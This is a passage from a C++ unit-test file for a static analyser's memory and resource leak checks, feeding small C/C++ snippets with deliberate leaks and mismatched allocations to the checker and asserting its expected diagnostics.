= fopen(\\\"1.txt\\\", \\\"wb\\\" )) == NULL) return 0;\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse16() { // #9635\n check(\"void f(void) {\\n\"\n \" char *p;\\n\"\n \" if(p = malloc(4), p == NULL)\\n\"\n \" return;\\n\"\n \" free(p);\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char *p, q;\\n\"\n \" if(p = malloc(4), q = 1, p == NULL)\\n\"\n \" return;\\n\"\n \" free(p);\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse17() {\n check(\"int *f() {\\n\"\n \" int *p = realloc(nullptr, 10);\\n\"\n \" if (!p)\\n\"\n \" return NULL;\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int *f() {\\n\"\n \" int *p = realloc(nullptr, 10);\\n\"\n \" if (!!(!p))\\n\"\n \" return NULL;\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse18() {\n check(\"void f() {\\n\"\n \" void * p = malloc(10);\\n\"\n \" void * q = realloc(p, 20);\\n\"\n \" if (q == 0)\\n\"\n \" return;\\n\"\n \" free(q);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * p = malloc(10);\\n\"\n \" void * q = realloc(p, 20);\\n\"\n \" if (q != 0) {\\n\"\n \" free(q);\\n\"\n \" return;\\n\"\n \" } else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:8:9]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void ifelse19() {\n check(\"void f() {\\n\"\n \" static char * a;\\n\"\n \" char * b = realloc(a, 10);\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" a = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse20() {\n check(\"void f() {\\n\"\n \" if (x > 0)\\n\"\n \" void * p1 = malloc(5);\\n\"\n \" else\\n\"\n \" void * p2 = malloc(2);\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:0]: (error) Memory leak: p1 [memleak]\\n\"\n \"[test.c:5:0]: (error) Memory leak: p2 [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x > 0)\\n\"\n \" void * p1 = malloc(5);\\n\"\n \" else\\n\"\n \" void * p2 = malloc(2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:0]: (error) Memory leak: p1 [memleak]\\n\"\n \"[test.c:5:0]: (error) Memory leak: p2 [memleak]\\n\", errout_str());\n }\n\n void ifelse21() {\n check(\"void f() {\\n\"\n \" if (y) {\\n\"\n \" void * p;\\n\"\n \" if (x > 0)\\n\"\n \" p = malloc(5);\\n\"\n \" }\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:6:5]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void ifelse22() { // #10187\n check(\"int f(const char * pathname, int flags) {\\n\"\n \" int fd = socket(pathname, flags);\\n\"\n \" if (fd >= 0)\\n\"\n \" return fd;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const char * pathname, int flags) {\\n\"\n \" int fd = socket(pathname, flags);\\n\"\n \" if (fd <= -1)\\n\"\n \" return -1;\\n\"\n \" return fd;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse23() { // #5473\n check(\"void f() {\\n\"\n \" if (FILE* fp = fopen(\\\"x\\\", \\\"r\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:2:38]: (error) Resource leak: fp [resourceLeak]\\n\", errout_str());\n }\n\n void ifelse24() { // #1733\n const Settings s = settingsBuilder().library(\"std.cfg\").library(\"posix.cfg\").build();\n\n check(\"void f() {\\n\"\n \" char* temp = strdup(\\\"temp.txt\\\");\\n\"\n \" FILE* fp;\\n\"\n \" if (NULL == x || NULL == (fp = fopen(temp, \\\"rt\\\")))\\n\"\n \" return;\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Memory leak: temp [memleak]\\n\"\n \"[test.cpp:6:1]: (error) Memory leak: temp [memleak]\\n\"\n \"[test.cpp:6:1]: (error) Resource leak: fp [resourceLeak]\\n\",\n errout_str());\n\n check(\"FILE* f() {\\n\"\n \" char* temp = strdup(\\\"temp.txt\\\");\\n\"\n \" FILE* fp = fopen(temp, \\\"rt\\\");\\n\"\n \" return fp;\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Memory leak: temp [memleak]\\n\", errout_str());\n\n check(\"FILE* f() {\\n\"\n \" char* temp = strdup(\\\"temp.txt\\\");\\n\"\n \" FILE* fp = NULL;\\n\"\n \" fopen_s(&fp, temp, \\\"rt\\\");\\n\"\n \" return fp;\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Memory leak: temp [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* temp = strdup(\\\"temp.txt\\\");\\n\"\n \" FILE* fp = fopen(\\\"a.txt\\\", \\\"rb\\\");\\n\"\n \" if (fp)\\n\"\n \" freopen(temp, \\\"rt\\\", fp);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:6:1]: (error) Memory leak: temp [memleak]\\n\"\n \"[test.cpp:6:1]: (error) Resource leak: fp [resourceLeak]\\n\",\n errout_str());\n\n check(\"FILE* f() {\\n\"\n \" char* temp = strdup(\\\"temp.txt\\\");\\n\"\n \" return fopen(temp, \\\"rt\\\");\\n\"\n \"}\\n\", s);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Memory leak: temp\\n\", \"\", errout_str());\n }\n\n void ifelse25() { // #9966\n check(\"void f() {\\n\"\n \" void *p, *p2;\\n\"\n \" if((p2 = p = malloc(10)) == NULL)\\n\"\n \" return;\\n\"\n \" (void)p;\\n\"\n \" free(p2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse26() { // don't crash\n check(\"union tidi {\\n\"\n \" long long ti;\\n\"\n \" unsigned int di[2];\\n\"\n \"};\\n\"\n \"void f(long long val) {\\n\"\n \" if (val == ({ union tidi d = {.di = {0x0, 0x80000000}}; d.ti; })) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse27() {\n check(\"struct key { void* p; };\\n\"\n \"int f(struct key** handle) {\\n\"\n \" struct key* key;\\n\"\n \" if (!(key = calloc(1, sizeof(*key))))\\n\"\n \" return 0;\\n\"\n \" if (!(key->p = malloc(4))) {\\n\"\n \" free(key);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" *handle = key;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse28() { // #11038\n check(\"char * f(void) {\\n\"\n \" char *buf = (char*)malloc(42*sizeof(char));\\n\"\n \" char *temp;\\n\"\n \" if ((temp = (char*)realloc(buf, 16)) != NULL)\\n\"\n \" { buf = temp; }\\n\"\n \" return buf;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ifelse29() { // #13296\n check(\"struct S {\\n\"\n \" typedef int (S::* func_t)(int) const;\\n\"\n \" void f(func_t pfn);\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\"\n \"void S::f(func_t pfn) {\\n\"\n \" if (pfn == (func_t)&S::g) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void switch1() {\n check(\"void f() {\\n\"\n \" char *p = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 123: p = malloc(100); break;\\n\"\n \" default: return;\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loop1() {\n // test the handling of { }\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" for (i=0;i<5;i++) { }\\n\"\n \" if (x) { free(p) }\\n\"\n \" else { a = p; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loop2() {\n check(\"void f() {\\n\" // #11786\n \" int* p = (int*)malloc(sizeof(int));\\n\"\n \" if (1) {\\n\"\n \" while (0) {}\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(node **p) {\\n\"\n \" node* n = *p;\\n\"\n \" if (n->left == NULL) {\\n\"\n \" *p = n->right;\\n\"\n \" free(n);\\n\"\n \" }\\n\"\n \" else if (n->right == NULL) {\\n\"\n \" *p = n->left;\\n\"\n \" free(n);\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" for (int i = 0; i < 4; ++i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mismatchAllocDealloc() {\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" free(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:12] -> [test.c:3:5]: (error) Mismatching allocation and deallocation: f [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" free((void*)f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:12] -> [test.c:3:5]: (error) Mismatching allocation and deallocation: f [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *cPtr = new char[100];\\n\"\n \" delete[] cPtr;\\n\"\n \" cPtr = new char[100]('x');\\n\"\n \" delete[] cPtr;\\n\"\n \" cPtr = new char[100];\\n\"\n \" delete cPtr;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:6:12] -> [test.cpp:7:12]: (error) Mismatching allocation and deallocation: cPtr [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *cPtr = new char[100];\\n\"\n \" free(cPtr);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:5]: (error) Mismatching allocation and deallocation: cPtr [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *cPtr = new (buf) char[100];\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int[1];\\n\"\n \" std::unique_ptr x(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:28]: (error) Mismatching allocation and deallocation: i [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::unique_ptr x(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:30]: (error) Mismatching allocation and deallocation: i [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a = malloc(1);\\n\"\n \" void* b = freopen(f, p, a);\\n\"\n \" free(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:14] -> [test.c:3:14]: (error) Mismatching allocation and deallocation: a [mismatchAllocDealloc]\\n\"\n \"[test.c:3:14] -> [test.c:4:4]: (error) Mismatching allocation and deallocation: b [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" void* b = realloc(a, 10);\\n\"\n \" free(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" int * j = realloc(i, 2 * sizeof(int));\\n\"\n \" delete[] j;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:14]: (error) Mismatching allocation and deallocation: i [mismatchAllocDealloc]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:13]: (error) Mismatching allocation and deallocation: j [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"static void deleter(int* p) { free(p); }\\n\" // #11392\n \"void f() {\\n\"\n \" if (int* p = static_cast(malloc(4))) {\\n\"\n \" std::unique_ptr guard(p, &deleter);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (int* p = static_cast(malloc(4))) {\\n\"\n \" std::unique_ptr guard(p, &deleter);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int* a = new int[i] {};\\n\"\n \" delete[] a;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void smartPointerDeleter() {\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::unique_ptr fp{f};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:30]: (error) Mismatching allocation and deallocation: f [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::unique_ptr fp{f, &fclose};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::shared_ptr fp{f, &fclose};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct deleter { void operator()(FILE* f) { fclose(f); }};\\n\"\n \"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::unique_ptr fp{f};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * create();\\n\"\n \"void destroy(int * x);\\n\"\n \"void f() {\\n\"\n \" int x * = create()\\n\"\n \" std::unique_ptr xp{x, &destroy()};\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * create();\\n\"\n \"void destroy(int * x);\\n\"\n \"void f() {\\n\"\n \" int x * = create()\\n\"\n \" std::unique_ptr xp(x, &destroy());\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::shared_ptr fp{f, [](FILE* x) { fclose(x); }};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::shared_ptr fp{f, +[](FILE* x) { fclose(x); }};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::shared_ptr fp{f, [](FILE* x) { free(f); }};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:30]: (error) Mismatching allocation and deallocation: f [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE*f=fopen(fname,a);\\n\"\n \" std::shared_ptr fp{f, [](FILE* x) {}};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:30]: (error) Mismatching allocation and deallocation: f [mismatchAllocDealloc]\\n\", errout_str());\n\n check(\"class C;\\n\"\n \"void f() {\\n\"\n \" C* c = new C{};\\n\"\n \" std::shared_ptr a{c, [](C*) {}};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C;\\n\"\n \"void f() {\\n\"\n \" C* c = new C{};\\n\"\n \" std::shared_ptr a{c, [](C* x) { delete x; }};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct DirDeleter {\\n\" // #12544\n \" void operator()(DIR* d) { ::closedir(d); }\\n\"\n \"};\\n\"\n \"void openDir(DIR* dir) {\\n\"\n \" std::shared_ptr

dp(dir, DirDeleter());\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:44]: (information) --check-library: Function closedir() should have configuration [checkLibraryNoReturn]\\n\", errout_str()); // don't crash\n }\n void smartPointerRelease() {\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::unique_ptr x(i);\\n\"\n \" x.release();\\n\"\n \" delete i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * i = new int;\\n\"\n \" std::unique_ptr x(i);\\n\"\n \" x.release();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:5:1]: (error) Memory leak: i [memleak]\\n\", errout_str());\n }\n\n void return1() {\n check(\"int f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:5]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void return2() {\n check(\"char *f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void return3() {\n check(\"struct dev * f() {\\n\"\n \" struct ABC *abc = malloc(100);\\n\"\n \" return &abc->dev;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void return4() { // ticket #3862\n // avoid false positives\n check(\"void f(char *p, int x) {\\n\"\n \" if (x==12) {\\n\"\n \" free(p);\\n\"\n \" throw 1;\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *p, int x) {\\n\"\n \" if (x==12) {\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \" }\\n\"\n \" delete p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *p, int x) {\\n\"\n \" if (x==12) {\\n\"\n \" delete [] p;\\n\"\n \" throw 1;\\n\"\n \" }\\n\"\n \" delete [] p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void return5() { // ticket #6397 - conditional allocation/deallocation and conditional return\n // avoid false positives\n check(\"void f(int *p, int x) {\\n\"\n \" if (x != 0) {\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" if (x != 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void return6() { // #8282\n check(\"std::pair f(size_t n) {\\n\"\n \" char* p = (char* )malloc(n);\\n\"\n \" return {p, p};\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void return7() { // #9343\n check(\"uint8_t *f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (uint8_t *)x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8_t f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (uint8_t)x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Memory leak: x [memleak]\\n\", errout_str());\n\n check(\"void** f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (void**)x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (long long)x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (void*)(short)x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Memory leak: x [memleak]\\n\", errout_str());\n\n check(\"void* f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (mytype)x;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* f() {\\n\" // Do not crash\n \" void *x = malloc(1);\\n\"\n \" return (mytype)y;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Memory leak: x [memleak]\\n\", errout_str());\n }\n\n void return8() {\n check(\"void* f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (x);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return ((x));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return ((((x))));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* f() {\\n\"\n \" void *x = malloc(1);\\n\"\n \" return (char*)(x);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void return9() {\n check(\"void* f() {\\n\"\n \" void *x = malloc (sizeof (struct alloc));\\n\"\n \" return x + sizeof (struct alloc);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void return10() {\n check(\"char f() {\\n\" // #11758\n \" char* p = (char*)malloc(1);\\n\"\n \" p[0] = 'x';\\n\"\n \" return p[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:4:5]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"struct S { int f(); };\\n\" // #11746\n \"int g() {\\n\"\n \" S* s = new S;\\n\"\n \" delete s;\\n\"\n \" return s->f();\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:5]: (error) Returning/dereferencing 's' after it is deallocated / released [deallocret]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int* p = new int(3);\\n\"\n \" delete p;\\n\"\n \" return *p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:4:5]: (error) Returning/dereferencing 'p' after it is deallocated / released [deallocret]\\n\", errout_str());\n }\n\n void return11() { // #13098\n check(\"char malloc_memleak(void) {\\n\"\n \" bool flag = false;\\n\"\n \" char *ptr = malloc(10);\\n\"\n \" if (flag) {\\n\"\n \" free(ptr);\\n\"\n \" }\\n\"\n \" return 'a';\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Memory leak: ptr [memleak]\\n\", errout_str());\n\n check(\"char malloc_memleak(void) {\\n\"\n \" bool flag = false;\\n\"\n \" char *ptr = malloc(10);\\n\"\n \" if (flag) {\\n\"\n \" free(ptr);\\n\"\n \" }\\n\"\n \" return 'a';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:7:5]: (error) Memory leak: ptr [memleak]\\n\", errout_str());\n }\n\n void return12() { // #12238\n CheckOptions options;\n options.cpp = true;\n check(\"void f(size_t size) {\\n\"\n \" void* buffer = malloc(size);\\n\"\n \" std::vector v{ buffer };\\n\"\n \" x->g(v);\\n\"\n \"}\\n\", options);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test1() {\n check(\"void f(double*&p) {\\n\" // 3809\n \" p = malloc(0x100);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int*& p) {\\n\" // #4400\n \" p = (int*)malloc(4);\\n\"\n \" p = (int*)malloc(4);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p = (int*)malloc(4);\\n\"\n \" int*& r = p;\\n\"\n \" r = (int*)malloc(4);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Memory leak: p\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p = (int*)malloc(4);\\n\"\n \" int*& r = p;\\n\"\n \" free(r);\\n\"\n \" p = (int*)malloc(4);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void test2() { // 3899\n check(\"struct Fred {\\n\"\n \" char *p;\\n\"\n \" void f1() { free(p); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test3() { // 3954 - reference pointer\n check(\"void f() {\\n\"\n \" char *&p = x();\\n\"\n \" p = malloc(10);\\n\"\n \"};\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test4() { // 5923 - static pointer\n check(\"void f() {\\n\"\n \" static char *p;\\n\"\n \" if (!p) p = malloc(10);\\n\"\n \" if (x) { free(p); p = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test5() { // unknown type\n check(\"void f() { Fred *p = malloc(10); }\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f() { Fred *p = malloc(10); }\");\n ASSERT_EQUALS(\"[test.c:1:34]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f() { Fred *p = new Fred; }\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { Fred fred = malloc(10); }\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void throw1() { // 3987 - Execution reach a 'throw'\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" throw 123;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" try {\\n\"\n \" p = malloc(10);\\n\"\n \" throw 123;\\n\"\n \" } catch (...) { }\\n\"\n \" free(p);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void throw2() { // do not miss ::NS::Except()\n check(\"namespace NS {\\n\"\n \" class Except {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void foo(int i)\\n\"\n \"{\\n\"\n \" int *pi = new int;\\n\"\n \" if (i == 42) {\\n\"\n \" delete pi;\\n\"\n \" throw ::NS::Except();\\n\"\n \" }\\n\"\n \" delete pi;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void configuration1() {\n // Possible leak => configuration is required for complete analysis\n // The user should be able to \"white list\" and \"black list\" functions.\n\n // possible leak. If the function 'x' deallocates the pointer or\n // takes the address, there is no leak.\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" x(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:9]: (information) --check-library: Function x() should have configuration [checkLibraryNoReturn]\\n\"\n \"[test.c:4:1]: (information) --check-library: Function x() should have / configuration [checkLibraryUseIgnore]\\n\",\n errout_str());\n\n check(\"void cb();\\n\" // #11190, #11523\n \"void f() {\\n\"\n \" cb();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void configuration2() {\n // possible leak. If the function 'x' deallocates the pointer or\n // takes the address, there is no leak.\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" x(&p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:10]: (information) --check-library: Function x() should have configuration [checkLibraryNoReturn]\\n\"\n \"[test.c:4:1]: (information) --check-library: Function x() should have / configuration [checkLibraryUseIgnore]\\n\",\n errout_str());\n }\n\n void 